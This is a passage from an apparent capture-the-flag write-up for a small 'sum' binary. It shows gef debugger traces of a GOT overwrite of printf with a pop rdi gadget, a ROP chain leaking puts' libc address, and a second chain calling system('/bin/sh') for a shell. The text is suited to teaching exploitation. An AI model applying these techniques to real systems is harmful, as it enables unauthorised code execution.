[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤  

So when printf is called, the values on the stack are the numbers that we sent to be added up. Of course, when the call instruction happens the return address (the instruction right after the call) will be pushed onto the stack. But after that on the stack, will be values we control. So if we were to overwrite the got address of printf with a rop gadget like pop rdi; ret, we can start roping.

To find out ROP gadget:

$    ROPgadget --binary sum_ccafa40ee6a5a675341787636292bf3c84d17264 | grep "pop rdi"
0x0000000000400a43 : pop rdi ; ret

Now for the rop chain itself, it will contain the following values:

0x00:    popRdi Instruction
0x08:    got address of puts
0x10:    plt address of puts
0x18:    0x4009a7 (the `exit` call, so we will loop back to main)
0x20:    "0" (to end the number sequence)

First off, remember that this chain is executed when printf is called, after we overwrite the got address of printf with 0x400a43. Now this is just a rop chain to give us a libc infoleak by using puts to print the got address of puts. When I first tried this, I ran into some issues where what I was doing was messing with some of the internals of puts/scanf. I played around with what I was calling, and where I was jumping, and after a little bit I got something that worked. Let's see this rop gadget in action:

First we hit printf:

───────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
─────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x0000000001202a02,
   $rdx = 0x0000000000000020,
   $rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤  

Then we have an iteration of the pop rdi; ret instruction to rid ourselves of the return address pushed onto the stack by call:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e058f8│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ← $rsp
0x00007ffcc5e05900│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
0x00007ffcc5e05908│+0x0010: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13
0x00007ffcc5e05910│+0x0018: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0020: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0028: 0x0000000000000000
0x00007ffcc5e05928│+0x0030: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0038: 0x0000000001202a02
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret    
     0x400a45                  nop    
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤  
gef➤  s

Program received signal SIGALRM, Alarm clock.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x20              
$rsp   : 0x00007ffcc5e05900  →  0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x1202a02         
$rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007fc390381cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi     ← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret    
   ↳    0x400a43 <__libc_csu_init+99> pop    rdi
        0x400a44 <__libc_csu_init+100> ret    
        0x400a45                  nop    
        0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400a50 <__libc_csu_fini+0> repz   ret
        0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  s

Next we execute the infoleak by popping the got address of puts into the rdi register:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05908│+0x0000: 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13     ← $rsp
0x00007ffcc5e05910│+0x0008: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0010: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0018: 0x0000000000000000
0x00007ffcc5e05928│+0x0020: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0028: 0x0000000001202a02
0x00007ffcc5e05938│+0x0030: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0038: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret    
     0x400a45                  nop    
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x20              
$rsp   : 0x00007ffcc5e05910  →  0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018
$rbp   : 0x00007ffcc5e05940  →  0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x1202a02         
$rdi   : 0x0000000000601018  →  0x00007fc3902639c0  →  <puts+0> push r13
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007fc390381cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffcc5e05ac0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05910│+0x0000: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a12]        # 0x601018     ← $rsp
0x00007ffcc5e05918│+0x0008: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>
0x00007ffcc5e05920│+0x0010: 0x0000000000000000
0x00007ffcc5e05928│+0x0018: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0020: 0x0000000001202a02
0x00007ffcc5e05938│+0x0028: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0030: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret    
   ↳    0x400600 <puts@plt+0>     jmp    QWORD PTR [rip+0x200a12]        # 0x601018
        0x400606 <puts@plt+6>     push   0x0
        0x40060b <puts@plt+11>    jmp    0x4005f0
        0x400610 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x200a0a]        # 0x601020
        0x400616 <__stack_chk_fail@plt+6> push   0x1
        0x40061b <__stack_chk_fail@plt+11> jmp    0x4005f0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  x/g $rdi
0x601018:    0x7fc3902639c0
gef➤  x/5i 0x7fc3902639c0
   0x7fc3902639c0 <puts>:    push   r13
   0x7fc3902639c2 <puts+2>:    push   r12
   0x7fc3902639c4 <puts+4>:    mov    r12,rdi
   0x7fc3902639c7 <puts+7>:    push   rbp
   0x7fc3902639c8 <puts+8>:    push   rbx

after that we call printf:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05918│+0x0000: 0x00000000004009a7  →  <main+164> call 0x400660 <exit@plt>     ← $rsp
0x00007ffcc5e05920│+0x0008: 0x0000000000000000
0x00007ffcc5e05928│+0x0010: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0018: 0x0000000001202a02
0x00007ffcc5e05938│+0x0020: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0028: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0030: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]
0x00007ffcc5e05950│+0x0038: 0x7fffffffffffffff
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7fc3902639b2 <popen+130>      jmp    0x7fc39026398d <popen+93>
   0x7fc3902639b4                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7fc3902639be                  xchg   ax, ax
 → 0x7fc3902639c0 <puts+0>         push   r13
   0x7fc3902639c2 <puts+2>         push   r12
   0x7fc3902639c4 <puts+4>         mov    r12, rdi
   0x7fc3902639c7 <puts+7>         push   rbp
   0x7fc3902639c8 <puts+8>         push   rbx
   0x7fc3902639c9 <puts+9>         sub    rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fc3902639c0 → puts()
[#1] 0x4009a7 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007fc3902639c0 in puts () from ./libc.so
gef➤  finish

Then we end up at exit, which will bring us back to the start of main:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05920│+0x0000: 0x0000000000000000     ← $rsp
0x00007ffcc5e05928│+0x0008: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0010: 0x0000000001202a02
0x00007ffcc5e05938│+0x0018: 0x791fd3bfbdbc2c00
0x00007ffcc5e05940│+0x0020: 0x00007ffcc5e05990  →  0x00007ffcc5e059e0  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffcc5e05948│+0x0028: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]
0x00007ffcc5e05950│+0x0030: 0x7fffffffffffffff
0x00007ffcc5e05958│+0x0038: 0x7fffffffff9fefd7
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40099b <main+152>       (bad)  
     0x40099c <main+153>       inc    DWORD PTR [rbx+0xa7e05f8]
     0x4009a2 <main+159>       mov    edi, 0xffffffff
 →   0x4009a7 <main+164>       call   0x400660 <exit@plt>
   ↳    0x400660 <exit@plt+0>     jmp    QWORD PTR [rip+0x2009e2]        # 0x601048
        0x400666 <exit@plt+6>     push   0x6
        0x40066b <exit@plt+11>    jmp    0x4005f0
        0x400670 <_start+0>       xor    ebp, ebp
        0x400672 <_start+2>       mov    r9, rdx
        0x400675 <_start+5>       pop    rsi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
exit@plt (
   $rdi = 0x0000000000000001,
   $rsi = 0x00007fc3905cf7e3 → 0x5d08c0000000000a,
   $rdx = 0x00007fc3905d08c0 → 0x0000000000000000,
   $rcx = 0x00007fc3902f3154 → 0x5477fffff0003d48 ("H="?)
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009a7 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x00000000004009a7 in main ()
gef➤  

So now we have a libc infoleak, and a qword write. This is all we need to pwn the code. I initially tried doing a oneshot gadget got overwrite, however none of the conditions were met when it was executed. Then I just did another rop gadget using printf again, to just pop the libc address of /bin/sh (which we know thanks to the libc infoleak) into the rdi register, and then return to system. Let's see the rop chain in action:

First we hit printf again:

───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi ← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
─────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x0000ff5666dcfd1d,
   $rdx = 0x0000000000000018,
   $rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤  

Then we have the pop rdi; ret to rid ourselves of the return address:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f18│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ← $rsp
0x00007ffd12150f20│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
0x00007ffd12150f28│+0x0010: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0018: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0020: 0x0000000000000000
0x00007ffd12150f40│+0x0028: 0x0000000000000000
0x00007ffd12150f48│+0x0030: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0038: 0x0000ff5666dcfd1d
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret    
     0x400a45                  nop    
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x18              
$rsp   : 0x00007ffd12150f20  →  0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0xff5666dcfd1d    
$rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007fab33584cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffd12151110  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi     ← $rsp
0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0018: 0x0000000000000000
0x00007ffd12150f40│+0x0020: 0x0000000000000000
0x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret    
   ↳    0x400a43 <__libc_csu_init+99> pop    rdi
        0x400a44 <__libc_csu_init+100> ret    
        0x400a45                  nop    
        0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x400a50 <__libc_csu_fini+0> repz   ret
        0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  

Then we have the rop gadget to through the address of /bin/sh into rdi, and return to system:

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f28│+0x0000: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)     ← $rsp
0x00007ffd12150f30│+0x0008: 0x00007fab33435440  →  <system+0> test rdi, rdi
0x00007ffd12150f38│+0x0010: 0x0000000000000000
0x00007ffd12150f40│+0x0018: 0x0000000000000000
0x00007ffd12150f48│+0x0020: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0028: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0030: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0038: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret    
     0x400a45                  nop    
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a43 in __libc_csu_init ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x18              
$rsp   : 0x00007ffd12150f30  →  0x00007fab33435440  →  <system+0> test rdi, rdi
$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0xff5666dcfd1d    
$rdi   : 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007fab33584cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffd12151110  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd12150f30│+0x0000: 0x00007fab33435440  →  <system+0> test rdi, rdi     ← $rsp
0x00007ffd12150f38│+0x0008: 0x0000000000000000
